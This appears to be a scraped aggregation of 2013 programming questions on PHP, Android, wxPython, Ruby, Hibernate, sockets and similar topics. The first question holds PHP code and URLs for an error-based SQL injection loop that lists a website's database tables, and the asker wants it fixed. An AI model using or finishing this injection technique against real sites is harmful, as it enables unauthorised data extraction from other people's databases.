Saturday, August 31, 2013

Scanning words with preg_match and adding to CURL query

Scanning words with preg_match and adding to CURL query

I'm trying to get all the tables of a particular database in the following
way:
//get_data($url) is a curl function that returns the data.
$remove="''";
do {
$returned_content = get_data($url);
$query ="+and+1=convert(int,
(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(".$remove.")))--";
$url="http://abc.com/a.aspx?param=1'".$query;
preg_match('~\'(.*?)\'~', $returned_content, $it);
if ($remove) {
$remove = $it[0];
}
else {
$remove.= ','.$it[0];
}
}
while ((stripos($returned_content,'cannot be found') == false) &&
(stripos($returned_content,'no row') == false));
The intended purpose of the above code is to build $remove as
'table1','table2','table3' which can be used in the URL to detect other
tables in the database.
However, after the first query, which is this URL:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('')))--
(note the single quotes ('') in the not in clause)
The second query is a malformed URL, where the single quotes ('') disappear:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+()))--
This leads to an error, and now the preg_match function returns ')', as
the error statement says Incorrect syntax near ')'. This bracket is then
appended to $remove, and then the whole query goes wrong.
How can I fix this code so that $remove is built correctly and lists all
the tables in the DB?
P.S. I know this looks a lot like SQL Injection, but it is a personal
security project I am pursuing.

ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView

ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView

I'm having trouble updating Cheesebarons horizontal list view to the new
v3 MvvmCross. Everything seems to be working correctly except in the
constructor of my "BindableHorizontalListView" control the ItemsSource of
the adapter is null. Which is weird because the context shows that the
view-model property I am attempting to bind to shows very clearly there
are 3 items and the binding seems very straightforward. What am I missing?
I hope I've included enough of the code. I've also tried binding it via
fluent bindings on the "OnViewModelSet" event with the same result.
AXML
<BindableHorizontalListView
android:id="@+id/listView"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
local:MvxBind="ItemsSource DevicesList; ItemClick ItemSelected"
local:MvxItemTemplate="@layout/devices_horizontal_list_item" />
BindableHorizontalListView control
using System.Collections;
using System.Windows.Input;
using Android.Content;
using Android.Util;
using Cirrious.MvvmCross.Binding.Attributes;
using Cirrious.MvvmCross.Binding.Droid.Views;
namespace Project.Droid.Controls
{
public class BindableHorizontalListView
: HorizontalListView //Which inherits from AdapterView<BaseAdapter>
{
public BindableHorizontalListView(Context context, IAttributeSet
attrs)
: this(context, attrs, new MvxAdapter(context))
{
}
public BindableHorizontalListView(Context context, IAttributeSet
attrs, MvxAdapter adapter)
: base(context, attrs)
{
var itemTemplateId =
MvxAttributeHelpers.ReadListItemTemplateId (context, attrs);
adapter.ItemTemplateId = itemTemplateId;
Adapter = adapter;
SetupItemClickListener();
InitView ();
}
public new MvxAdapter Adapter
{
get { return base.Adapter as MvxAdapter; }
set
{
var existing = Adapter;
if (existing == value)
return;
if (existing != null && value != null)
{
value.ItemsSource = existing.ItemsSource;
value.ItemTemplateId = existing.ItemTemplateId;
}
base.Adapter = value;
}
}
[MvxSetToNullAfterBinding]
public IEnumerable ItemsSource
{
get { return Adapter.ItemsSource; }
set { Adapter.ItemsSource = value; this.Reset (); }
}
public int ItemTemplateId
{
get { return Adapter.ItemTemplateId; }
set { Adapter.ItemTemplateId = value; }
}
public new ICommand ItemClick { get; set; }
private void SetupItemClickListener()
{
base.ItemClick += (sender, args) =>
{
if (null == ItemClick)
return;
var item = Adapter.GetItem(args.Position) as
Java.Lang.Object;
if (item == null)
return;
if (item == null)
return;
if (!ItemClick.CanExecute(item))
return;
ItemClick.Execute(item);
};
}
}
}
ViewModel
[Activity (Label = "Device", ScreenOrientation = ScreenOrientation.Portrait)]
public class DeviceView : MvxActivity
{
protected override void OnCreate (Bundle bundle)
{
base.OnCreate (bundle);
SetContentView(Resource.Layout.device);
}
}
If only there was PCL support in XAM STUDIO I would just step in and see
how the other controls are doing it!!!!

How to create dropdown with value and text node - WXPython

How to create dropdown with value and text node - WXPython

In HTML I can create drop-down menus like this:
<select name="">
<option value="">TextNode #1</option>
<option value="">TextNode #2</option>
<select>
Now I want something similar in wxPython. The problem is that I have not
found a solution, as it only allows me to place the text and not the
value.
Example wxPython( Create Dropdown ):
DropDownList = []
Options = {0:"None",1:"All",2:"WTF?!!"}
For Value, TextNode in Options:
DropDownList.append( TextNode )
wx.ComboBox(panel,value="Select",choices=DropDownList)
Well... How I can use a value addition to the text node?.. Thanks!

How to assign a Struct class to a variable's value?

How to assign a Struct class to a variable's value?

I have a variable var = "some_name" and I would like to create Struct.new
object and assign it to 'some_name'. How can I do it?
e.g
var = "some_name"
some_name = Struct.new(:name) #=> I need this?

localtime_r support on MinGW

localtime_r support on MinGW

I'm working on a Win32 multithread C++ project and I would like to use one
of the localtime_* thread-safe alternatives to localtime().
Unfortunately I have to use MinGW compiler, and localtime_s cannot be used
outside Microsoft stuff.
The problem is that neither localtime_r is working: the related code
snippet is
#include <ctime>
...
string getCurrentTime()
{
time_t t;
time(&t);
struct tm timeinfo;
//localtime_s(&timeinfo, &t);
localtime_r(&t, &timeinfo);
char buf[128];
strftime(buf, 128, "%d-%m-%Y %X", &timeinfo);
return string(buf);
}
...
This is the compiler output:
error: 'localtime_r' was not declared in this scope
Does MinGW support localtime_r ?
If not, does exist a thread-safe alternative? (excluding boost/QT/etc that
I can't use).

DIV moves down when page is loaded in google chrome, but is where it should be when page is refreshed

DIV moves down when page is loaded in google chrome, but is where it
should be when page is refreshed

The site I'm working on has a navigation menu in a div. When you go to the
index page everything looks fine, but when you click one of the links the
nav links move down. Refresh the page and it's back where it should be. It
doesn't happen every time, but has happened at some point with all the
links. It only seems to be happening in Google Chrome. I have tried it
several times in IE and they don't move.
www.realestatephoto.rosemariecarter.com
The code on index (I'm using php so the code is the same on all the pages.
header.php)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="style.css">
<link
href='http://fonts.googleapis.com/css?family=Bilbo+Swash+Caps|Port+Lligat+Slab'
rel='stylesheet' type='text/css'>
<title>Rose Marie Carter Real Estate Photography</title>
</head>
<body>
<div class="center">
<div id="links">
<h1><a href="index.php">Home</a> <a href="contact.php">Contact</a>
<a href="prices.php">Prices</a> <a
href="gallery.php">Gallery</a> <a href="why_professional.php">Why
Professional?</a></h1>
</div>
<img src="header.jpg" />
<br />
<br />
Hello everyone!
<br />
<br />
</div>
</body>
</html>
the css for the DIVs used:
.center {
margin-left:auto;
margin-right:auto;
width:65%;
}
#links {
position: absolute;
top: 520px;
text-indent: 1em;
white-space: pre;
}
It's been a while sense I've coded a site, so it could be something simple
I overlooked. If it is I'm sorry. Thanks for any help

How to prevent that a Boost::Asio timer blocks the return of the io_service::run()?

How to prevent that a Boost::Asio timer blocks the return of the
io_service::run()?

I have the following (minimized) Class handling my server connection:
class AsioServer {
protected:
boost::asio::io_service ioService;
public:
AsioServer() {}
void add_request() {
//Adding async requests to the ioService
}
void timeout() {
//Stop all pedning async operations
ioService.stop();
}
void perform() {
//Set a timer
boost::asio::deadline_timer timer(ioService);
timer.expires_from_now(boost::posix_time::seconds(5));
timer.async_wait(std::bind(&AsioServer::timeout, this));
//Performe all Async operations
ioService.run();
ioService.reset();
}
};
My Problem is that the deadline timer prevents the return of
ioService.run() until it expires. What I want is the the timer is only
called when expering and then canceling the async operations, but not act
as work in the context of the io_service. Are there timers not acting as
work, or another good way dealing with this situation?

Friday, August 30, 2013

Ruby - writing a method without a "parameter"

Ruby - writing a method without a "parameter"

For example, the array class has a method named ".sort" that you call on
an array with the following syntax:
[2, 3, 4, 1].sort
From my limited knowledge, I only know how to write methods that take an
actual parameter:
def sort(array)
...
end
and are called as such:
sort([2, 3, 4, 1])
How would you go about setting up a method that can be called with the dot
notation (please correct me if I'm wrong) syntax?

How to correctly run an infinite loop and still work with buffers in a VIM plugin?

How to correctly run an infinite loop and still work with buffers in a VIM
plugin?

I am writing a VIM plugin in Python. I would like to be able to run a
function that would wait for events in the background and update a buffer
when needed, without freezing the whole window. Is that possible?
I tried running a separate thread, which didn't help. The changes in the
buffer are reflected only when the function returns (and the blocking
thread terminates).

Wednesday, August 28, 2013

C MySQL Types Error

C MySQL Types Error

I'm trying to store results taken from a MySQL query into an array of
structs. I can't seem to get the types to work though, and I've found the
MySQL documentation difficult to sort through.
My struct is:
struct login_session
{
char* user[10];
time_t time;
int length;
};
And the loop where I'm trying to get the data is:
while ( (row = mysql_fetch_row(res)) != NULL ) {
strcpy(records[cnt].user, &row[0]);
cnt++;
}
No matter what I try though I constantly get the error:
test.c:45: warning: passing argument 1 of 'strcpy' from incompatible
pointer type
/usr/include/string.h:128: note: expected 'char * __restrict__' but
argument is of type 'char **'
test.c:45: warning: passing argument 2 of 'strcpy' from incompatible
pointer type
/usr/include/string.h:128: note: expected 'const char * __restrict__' but
argument is of type 'MYSQL_ROW'
Any pointers?

ObjectContext disposed also in opened context of EF

ObjectContext disposed also in opened context of EF

I have this method for creating DataTable:
private DataTable toDataTable<T>(IEnumerable<T> items)
{
var tb = new DataTable(typeof(T).Name);
using (var context = new MyEntity())
{
PropertyInfo[] props =
typeof(T).GetProperties(BindingFlags.Public |
BindingFlags.Instance);
foreach (var prop in props)
{
tb.Columns.Add(prop.Name, prop.PropertyType);
}
foreach (var item in items)
{
var values = new object[props.Length];
for (var i = 0; i < props.Length; i++)
{
values[i] = props[i].GetValue(item, null);
}
tb.Rows.Add(values);
}
}
return tb;
}
but it give me this error in second foreach:
The ObjectContext instance has been disposed and can no longer be used for
operations that require a connection.
since I opened my EF's context;why again this error occurs?

how to start animation one after the another using thread for image view?

how to start animation one after the another using thread for image view?

In my android application i need to animate the image view one after
another i have four image view animation should proceed one after another
for the image view
i have tried using thread
iv1=(ImageView)findViewById(R.id.imageView1);
iv2=(ImageView)findViewById(R.id.imageView2);
iv3=(ImageView)findViewById(R.id.imageView3);
iv4=(ImageView)findViewById(R.id.imageView4);
iv1.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
animSlideUp =
AnimationUtils.loadAnimation(getApplicationContext(),
R.anim.slide_up);
mSplashThread1 = new Thread(){
@Override
public void run(){
try {
synchronized(this){
// Wait given period of time or exit on touch
wait(5000);
iv3.startAnimation(animSlideUp);
}
}
catch(InterruptedException ex){
}
finish();
}
};
// The thread to wait for splash screen events
mSplashThread = new Thread(){
@Override
public void run(){
try {
synchronized(this){
// Wait given period of time or exit on touch
wait(5000);
iv2.startAnimation(animSlideUp);
}
}
catch(InterruptedException ex){
}
finish();
mSplashThread1.start();
}
};
mSplashThread.start();
// The thread to wait for splash screen events
i have used two thread to start animation plz help me i am new to android

how to prevent leading whitespace to be displayed in html blockquote

how to prevent leading whitespace to be displayed in html blockquote

in my code i use the following html
<blockquote> blabla</qlockquote>
This whitespace is visible in my Firefox even if i set
white-space: normal !important;
Is there any chance to get a blockquote to not show this leading
whitespace like any other html element?

How to make private and public user's fields in rails?

How to make private and public user's fields in rails?

I want to give public and private options for fields to user. Suppose, I
want to make private to "Birth Date" field, it should not be appeared on
detail page for other user.
I have my customized registration controller in devise. Fields are saving
,updating and showing but I don't know how hide private fields for other
users. I am really confused how to start????

How to do a clear database design

How to do a clear database design

I'm designing a database.
On my system, users can do this:
Sent message to other users with text and/or files (images, videos, etc.)
Sent a friendship request to other users without any text.
I thought that messages and friendship request are the same (a friendship
request is a type of message):

But, I think I can split that table into two tables, to make my model more
clear:

What is your opinion? One or two tables?

Tuesday, August 27, 2013

SQL job failing only on particular instances

SQL job failing only on particular instances

We have an application ,where the session data of the application is
stored in a table, from that table we have a SQL job which places the
above data in one more table segregating it more meaningfully.
When we created the job ,the job passed in DEV environment and TEST ,but
when we implemented the job in production and stage, the job is failing
with below error.
Conversion failed when converting date and/or time from character string
We tried restoring the DB to some other instance other than where the
application DB resides and the SQL job is completing successfully. The Job
is failing only in the instance where application DB resides.
Steps what we tried: We tried comparing the SQL configuration of the
instances where the job completed successfully to the instance where it is
failing, no differences we tried executing the stored proc manually
writing some print statements to see if it really a code issue, this
didn't helped us since the job is not failing for a particular session
GUID and the same step is passing in DEV environment.
We are not able to figure out why this is happening only on instances
where application DB resides.

Hibernate HQL join fetch not fetching

Hibernate HQL join fetch not fetching

I have the following query and method
private static final String FIND = "SELECT DISTINCT domain FROM Domain
domain LEFT OUTER JOIN FETCH domain.operators JOIN FETCH
domain.networkCodes WHERE domain.domainId = :domainId";
@Override
public Domain find(Long domainId) {
Query query = getCurrentSession().createQuery(FIND);
query.setLong("domainId", domainId);
return (Domain) query.uniqueResult();
}
With Domain as
@Entity
@Table
public class Domain {
@Id
@GenericGenerator(name = "generator", strategy = "increment")
@GeneratedValue(generator = "generator")
@Column(name = "domain_id")
private Long domainId;
@Column(nullable = false, unique = true)
@NotNull
private String name;
@Column(nullable = false)
@NotNull
@Enumerated(EnumType.STRING)
private DomainType type;
@OneToMany(cascade = {
CascadeType.PERSIST,
CascadeType.MERGE
}, fetch = FetchType.EAGER)
@JoinTable(joinColumns = {
@JoinColumn(name = "domain_id")
}, inverseJoinColumns = {
@JoinColumn(name = "code")
})
@NotEmpty
@Valid // needed to recur because we specify network codes when
creating the domain
private Set<NetworkCode> networkCodes = new HashSet<>();
@ManyToMany(fetch = FetchType.EAGER)
@JoinTable(joinColumns = {
@JoinColumn(name = "parent", referencedColumnName = "domain_id")
}, inverseJoinColumns = {
@JoinColumn(name = "child", referencedColumnName = "domain_id")
})
private Set<Domain> operators = new HashSet<>();
// more
}
I would expect this single query to fetch the Set<NetworkCode> and
Set<Domain> relations, but it doesn't. Say that the Domain I query has two
operators, Hibernate would perform 1 + 2 * 2 = 5 queries
Hibernate: select distinct domain0_.domain_id as domain1_1_0_,
domain2_.domain_id as domain1_1_1_, networkcod4_.code as code2_2_,
domain0_.name as name1_0_, domain0_.type as type1_0_, domain2_.name as
name1_1_, domain2_.type as type1_1_, operators1_.parent as parent1_0__,
operators1_.child as child4_0__, networkcod3_.domain_id as domain1_1_1__,
networkcod3_.code as code5_1__ from domain domain0_ left outer join
domain_operators operators1_ on domain0_.domain_id=operators1_.parent left
outer join domain domain2_ on operators1_.child=domain2_.domain_id inner
join domain_network_codes networkcod3_ on
domain0_.domain_id=networkcod3_.domain_id inner join network_code
networkcod4_ on networkcod3_.code=networkcod4_.code where
domain0_.domain_id=?
Hibernate: select operators0_.parent as parent1_1_, operators0_.child as
child4_1_, domain1_.domain_id as domain1_1_0_, domain1_.name as name1_0_,
domain1_.type as type1_0_ from domain_operators operators0_ inner join
domain domain1_ on operators0_.child=domain1_.domain_id where
operators0_.parent=?
Hibernate: select networkcod0_.domain_id as domain1_1_1_,
networkcod0_.code as code5_1_, networkcod1_.code as code2_0_ from
domain_network_codes networkcod0_ inner join network_code networkcod1_ on
networkcod0_.code=networkcod1_.code where networkcod0_.domain_id=?
Hibernate: select operators0_.parent as parent1_1_, operators0_.child as
child4_1_, domain1_.domain_id as domain1_1_0_, domain1_.name as name1_0_,
domain1_.type as type1_0_ from domain_operators operators0_ inner join
domain domain1_ on operators0_.child=domain1_.domain_id where
operators0_.parent=?
Hibernate: select networkcod0_.domain_id as domain1_1_1_,
networkcod0_.code as code5_1_, networkcod1_.code as code2_0_ from
domain_network_codes networkcod0_ inner join network_code networkcod1_ on
networkcod0_.code=networkcod1_.code where networkcod0_.domain_id=?
I'm guessing this is because I'm joining the operators Domain elements but
they have to join themselves. Is there an HQL query I can execute that
would do both?

PHP Project : How to handle general configuration data?

PHP Project : How to handle general configuration data?

I'm currently starting the conception of a new project that will use
either Zend Framework 2 or Symfony 2.
I am currently wondering, as I'm quite a newbie in data modeling and
application conception, how to handle general configuration data that
wouldn't be linked to my entities. For example, I have constants, numbers,
and maybe even texts and medias that should be configurable via an
administration and that concerns the whole application, but that is not
related to my Model data (for example, the maximum price of products, some
general ranges, etc.. that I don't know at all how to store). So, should I
:
Create a "parameter" table or something related, that would store all my
global parameters of my application?
Use INI files or YML files (like in Symfony, if I finally use this one) to
store my parameters? If so, how to handle them? What are the best
practices?
Any better solution for that task?
The only possibility I found was with Symfony, using config.yml files or
generally YML files to store my general configuration. But what are the
best practices for this kind of storage? How to securely manage them?
I hope this question is not too general.
Thank you.

Java - problems with inheritance

Java - problems with inheritance

I have this two classes:
public class Superclass
{
public Superclass();
...
}
and
public class ChildClass extends Superclass
{
public ChildClass();
public setname(String name)
{
...
}
}
if I do this:
Superclass a;
a = new ChildClass();
a.setname("Roger");
i get this warning: The method setname(String) is undefined for the type
Superclass. How to resolve? Thanks

How can I change a product's attribute value without loading the entire product model?

How can I change a product's attribute value without loading the entire
product model?

Retrieving the value is easy enough:
$itemIsConsolidated = $productResource->getAttributeRawValue($productId,
'my_attr_code', Mage_Core_Model_App::ADMIN_STORE_ID);
How can I change (update) the value without loading the product model
(catalog/product) and calling setData()?

Plot log-normal distribution in R – stats.stackexchange.com

Plot log-normal distribution in R – stats.stackexchange.com

I need to plot lognormal distribution with mean 1 and variance 0.6 in R. I
tried to do this using rlnorm function in R as x= rlnorm(500, log(1),
log(0.6)) plot(density(x)) log(0.6) is negative …

Monday, August 26, 2013

Angluar.js & Bootstrap - jQuery Dependency

Angluar.js & Bootstrap - jQuery Dependency

According to Bootstrap 3 docs (http://getbootstrap.com/javascript/),
Bootstrap 3's js components depend on jQuery.
Plugin dependencies
Some plugins and CSS components depend on other plugins. If you include
plugins individually, make sure to check for these dependencies in the
docs. Also note that all plugins depend on jQuery (this means jQuery must
be included before the plugin files).
I am looking into using Angular.js, where everyone says "drop jQuery!" It
seems like the Angular team took a swipe at Bootstrap v2.3.2
(http://angular-ui.github.io/bootstrap/). Is there anything similar or a
work around for Bootstrap 3? Will I just have to live with jQuery for the
time being?
Thanks

Wp Favorites and Buddypress profile?

Wp Favorites and Buddypress profile?

I have got this plugin to work efficiently, but I am looking to learn how
to allow other members to see all other members favorites (not just their
own) in their Buddypress profile? I read another question that gave a
partial answer using this code
wpfp_get_users_favorites($GLOBALS['bp']->displayed_user->userdata->user_login);
but I want to understand how and where to edit the code in the
wp-favorites files. If I add a tab in the BP profile, what code would I
need to add to show the members favorites?
I hope I made this clear enough. Thanks

Not able to #import Authorize.Net header file

Not able to #import Authorize.Net header file

I followed the instruction on this site
http://developer.authorize.net/integration/fifteenminutes/ios/ and dragged
and dropped the XCode project file of the SDK but still am not able to
reference the Header files in the xcode project. I am trying to do a
#import for AuthNet.h but not able to load it even though the project is
in my Project. I also tried to put it in the workspace and still cannot
import.

Why would the same payload have a slightly different looking IEEE 802.15.4 frame three days later?

Why would the same payload have a slightly different looking IEEE 802.15.4
frame three days later?

I have two xbee S1s that successfully communicate with each other. But I
am trying to get one of them to receive IEEE 802.15.4 frames from an Atmel
transceiver. The goal, of course, is to "trick" an xbee into thinking it
is talking to another xbee, when in reality it will be talking to the
Atmel transceiver. The only way, as far as I can tell, to do this is to
monitor the packets transmitted by an xbee using a sniffer and clone them
on the Atmel transceiver.
And here are my findings:
The packet sniffer shows the following traffic when entering a single
ASCII character "m" from an xbee S1:

The sniffer shows the following when sending a single ASCII character "k":

The sniffer shows the following when sending the same ASCII character "k"
two 3 days ago:

Aside from time stamps, why would the payload have "a*d*" one day and
"a*23" another day?
Would appreciate if the wireless network experts from the community could
weigh in.

wpf how to prevent double thickness borders at overlap?

wpf how to prevent double thickness borders at overlap?

if you have
<Grid >
<Grid.RowDefinitions>
<RowDefinition Height="*"/>
<RowDefinition Height="2*"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
</Grid
and put a border of thickness 1 into each grid, you will get double
thickness on the border between the grid rows. Is the only way to deal
with this to specify the thickness on each edge of the border or is there
some control that will create borders around the grid for each column
without having double thickness?

Using JQuery to parse serialized data

Using JQuery to parse serialized data

I am using ColdFusion to ajax data from a cfc and returning the data
serialized. The console shows the data in this format. How do I parse this
with JQuery?
query('id':[1],'title':['value'],'descr':['value2'])

Reorder or reduce console output

Reorder or reduce console output

After running pdftexify, I get a long console output of several hundred
lines. Hidden within this output, there are a few bad boxes and sometimes
a warning. Is there some way to reduce the output such that only the bad
boxes and warnings are shown? Or, alternatively, is it possible to reprint
the parts with bad boxes and warnings at the end of the output? Such that
I can spot and address the presented issues easily.

How to change color of one element by clicking on another - jquery

How to change color of one element by clicking on another - jquery

I've got a multiple choice test on a English/Thai language web site. Each
row has a question and 4 answer choices, the layout is essentially a 50X5
matrix.
<div id="question">
<p class="word_test">1<span class="1 color_up audio"
id="b1e01">the </span></p>
...
<p class="word_test">50<span class="50 color_up audio"
id="b1e50">if </span></p>
</div>
<div id="answers">
<div id="col_a">
<p class="word_test">A:<span class="1 color_up audio"
id="b1t01">¤Ó¹Ó˹éÒ¹ÒÁ</span></p>
...
<p class="word_test">A:<span class="50 color_up incorrect">Áѹ
</span></p>
</div>
<div id="col_b">
...
</div>
<div id="col_c">
...
</div>
<div id="col_d">
<p class="word_test">D:<span class="1 color_up incorrect">àÅÍÐ
</span></p>
...
<p class="word_test">D:<span class="50 color_up
incorrect">à»ç¹ ÍÂÙè ¤×Í </span> </p>
</div>
</div>
When the user clicks on one of the A,B,C or D choices, I want the question
item in that row to change to green (correct) or red (incorrect). My
problem is how in any one row to link the clicked target (A,B,C or D) to
the requicolor change. I can see that addClass and removeClass would
handle the color change but I can't see how to make the connection between
the clicked on answer and the question items. I've numbered the rows in
each column so that the corresponding question can be referenced but I
don't know if that is necessay. Thanks for any help.

Sunday, August 25, 2013

How to get DNS Servers, Flash IP/DNS from own ip?

How to get DNS Servers, Flash IP/DNS from own ip?

I want to build website like : check2ip.com
Now i'm able to get ip location, time-zone, city, ISP. But main problem I
don't how to get DNS Servers and Flash IP/DNS? please suggestion
framework, or sample code.
Thanks

Javascript not seeing functions

Javascript not seeing functions

I'm having trouble with Javascript. The code can be found at
http://pastebin.com/wrY2qLw8 and the website at cookieclicker.herobo.com .
When I open up the website, it hangs on loading. When I open up the
javascript console, it says "Unexpected token <", and when I scroll over
or click on the cookie, it can't find the functions HoverCookie() and
ClickCookie(). The script I am making is based off of cookie clicker,
avaliable at http://orteil.dashnet.org/experiments/cookie/ and their
script works perfectly, and I copied and pasted the code directly. I also
got all of the png files needed to load the game. I have no idea whats
going on. Could anyone help?

What would be the output of following piece of Java code and why?

What would be the output of following piece of Java code and why?

What would be the output of following piece of code and why??
public class Loop {
public static void main(String[] args) {
Integer i=new Integer(0);
Integer j=new Integer(0);
while(i<=j&&j<=i&&i!=j){
System.out.println(i);
}
}
}
Please explain in detail!!

How to receive socket correctly

How to receive socket correctly

I'm trying to send the pictures between two android devices, but there is
a transmission problem I can't figure out. Someone tell me to revise the
wile loop, but it still do not work. When I tested my project on the
device, there wasn't problem with the connection. But, as the transmission
task started, the sending client was stopped and "transfer erro" msg
showed up on the receiver. Is there anyone knows what can I do to my
program? Here are my two mainly parts of sending and receiving.
I'll be very appreciative of any help. Thank you.
sending part:
s = new Socket("192.168.0.187", 1234);
Log.d("Tag====================","socket ip="+s);
File file = new File("/sdcard/DCIM/Pic/img1.jpg");
FileInputStream fis = new FileInputStream(file);
din = new DataInputStream(new BufferedInputStream(fis));
dout = new DataOutputStream(s.getOutputStream());
dout.writeUTF(String.valueOf(file.length()));
byte[] buffer = new byte[1024];
int len = 0;
while ((len = din.read(buffer)) != -1) {
dout.write(buffer, 0, len);
tw4.setText("8 in while dout.write(buffer, 0, len);");
}
dout.flush();
the sending part can work smoothly and no erro showed up after the while
loop overed
receiving part:
try {
File file = new File("/sdcard/DCIM/img1.jpg");
DataInputStream din = new DataInputStream(new
BufferedInputStream(client.getInputStream()));
bis = new BufferedInputStream(client.getInputStream());
Log.d("Tag====================","din="+s);
FileOutputStream fos = new FileOutputStream(file);
dout = new DataOutputStream(new BufferedOutputStream(fos));
byte[] buffer = new byte[1024];
int len = 0;
while ((len = bis.read(buffer)) != -1) {
dout.write(buffer, 0, len);
}
dout.flush();
dout.close();
} catch (Exception e) {
handler.post(new Runnable() {
public void run() {
tw1.setText("transmission error");
}});
About the receiving part seems even stuck at the "DataInputStream din =
new DataInputStream(new BufferedInputStream(client.getInputStream()));"
and catch the exception.
Thanks again.

Saturday, August 24, 2013

Update list Item returns ErrorCode 0x80004005

Update list Item returns ErrorCode 0x80004005

I have a sharepoint list with around 75 columns and there are about 1800
records. I am trying to update an item using Update List Item Web Service
but it fails showing errorcode : 0x80004005 and errorText : Cannot
complete this action. However, when I try to manually update my item from
EditForm.aspx the update happens successfully.
Below is my code to update list item :
<Batch OnError="Continue" ListVersion="1">
<Method ID="1" Cmd="Update">
<Field Name="ID">1819</Field>
<Field Name="Title">xyz</Field>
</Method>
</Batch>
I get the following response on executing the above query.
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<UpdateListItemsResponse
xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<UpdateListItemsResult>
<Results>
<Result ID="1,Update">
<ErrorCode>0x80004005</ErrorCode>
<ErrorText>Cannot Complete this action</ErrorText>
</Result>
</Results>
</UpdateListItemsResult>
</UpdateListItemsResponse>

Multithreading inside for loop

Multithreading inside for loop

I am trying to read the multiple files from a directory and create a
separate thread for every file.While iterating the loop, the anonymous
inner class cannot use non final variables.
My question is how to create multiple threads inside a loop.(I am required
to manually create threads for each file, cant use executor service or
something else)
class de
{
void commit(File x)
{
int sum =0;
try{
FileInputStream fin = new FileInputStream(x);
byte[]b= new byte[5000];
fin.read(b);
for (byte digit:b)
{
sum=digit+sum;
}
System.out.println(sum);
}
catch(Exception e)
{
}}
public static void main (String args[])
{
File f = new File("C:\\Users\\Ankur\\workspace\\IO\\Numbers");
File []store = f.listFiles( new FilenameFilter()
{
public boolean accept(File f, String name)
{
return name.endsWith("txt");
}
}
);
for (File x: store)
{
Thread t = new Thread()
{
public void run ()
{
// new de().commit(x);
}
};
}
}
}

Ubuntu on ssd and windows

Ubuntu on ssd and windows

I have recently bought a laptop with 32gb ssd and 750 gb hdd. Due to my
job I need both windows and linux (I use more linux than windows). I want
to install first windows 7 on the hdd and later ubuntu on the ssd (/home
on the hdd) Do you think it is a good idea?

How to find the number of strings that are in the particular range FAST?

How to find the number of strings that are in the particular range FAST?

I was given a question:
Given a list of strings, and a list of queries: START and END, both of
which are strings. I have to find the number of strings that are in the
range of [START, END)
For example: a list of strings: A, AA, AB, CD, ZS, XYZ a list of queries:
A, AA
A, CC
AB, ZZ
AC, CD
The output should be:
1
3
3
0
The way I approach this problem is that: while iterating through the list
of strings, I create an AVL tree by inserting new string one by one. (At
first, I used unbalanced BST but I got Time Limit.) When doing the
comparison, I use compareTo function in java String.
After creating the AVL tree, I run the query that counts from [start,
end). My method is that
1. let v = root.
2. if v==null -> return 0
else if v.value < start -> count(v.right)
else if v.value >= end -> count(v.left)
else 1 + count(v.right) + count(v.left)
However, I still got time limit pernalty :(
Therefore, I change method by creating hash function by hashing into
double and instead of using compareTo, I compared the hash value instead.
But, I still got time limit!
So, I store the value of subtree size into each vertex, and instead of
using count or the time, I add more conditional statements, some of which
can use the size of the subtree instead of calling count function
recursively.
Any suggestion to me to get it run in a particular time? :\

Friday, August 23, 2013

Is there a way to make Wario's face show up where Peach's is? [on hold]

Is there a way to make Wario's face show up where Peach's is? [on hold]

I'm trying to change the icon on Peach's castle to be Wario instead of
Peach. Is there a way I can do that?

background pattern image on videos having issues while scrolling

background pattern image on videos having issues while scrolling

My code
<div id="HomePage"></div>
#HomePage {
background:url('../../images/pattern.png');
position: fixed;
width: 100%;
min-height: 100%;
}
I used video as a background and while scrolling, it creates unwanted
horizontal lines across the screen as shown in the screens:

List sorting C# using 2 fields

List sorting C# using 2 fields

I have a list of my custom objects. The object contains 1 string and 2
decimals. I would like to sort the list based on the 2nd decimal field
descending then the first decimal field.
For eg:
object 1 -> "a", 100, 10
object 2 -> "b", 300, 0
object 3 -> "c", 200, 200
object 4 -> "b", 400, 0
would be sorted as object 3, object 1, object 4, object 2
I apologize if this has already been answered - please point me to that
post as I could not find it

Gnome / GUI Linux ( Centos ) How to make sure every icon is either a folder or a file that all look alike?

Gnome / GUI Linux ( Centos ) How to make sure every icon is either a
folder or a file that all look alike?

Dear Sir/Madam
it seems obvious human mind goes to places by looking at
the designs of icons.
I need to not look at designs. i need to simply know if
something is a folder or a file.
i do not want to see any other icon in my desktop.
perhaps this will permit me not to leak thoughts to
different direction, and i might become healthier as a result.
how can i go about this ?
so far the only solution i found is, deleting the folder
/user/share/icons/
completely, but now all icons are blank white. even for folders.
i need 2 custom icons, 1 for folders, and 1 for files.
i do not want to see any other icon in my desktop except for application's
gui's of course.

Showing SENT messages in VIP mailbox

Showing SENT messages in VIP mailbox

Is there any way to modify the VIPs box to show all messages both TO and
FROM a particular contact?

Local smallness of Lawvere theories

Local smallness of Lawvere theories

Reading this blog post, I'm trying to care about foundational matters.
To summarize the first part of the article, living in a univers $\mathcal
V$ of sets, one defines a Lawvere theory as follow : given a locally small
category $\mathbf C$ with a faithful functor $U \colon \mathbf C \to
\mathbf{Sets}$, the Lawvere theory $T$ of $\mathbf C$ is the full
subcategory of $[\mathbf C, \mathbf{Sets}]$ with objects the finites
powers of $U$ : $1,U,U^2,\dots$
For algebraic examples as $\mathbf C = \mathbf{Grps}, \mathbf{Rings}$,
etc., one finds $T$ equivalent to $\mathbf C$, which makes me thinks that
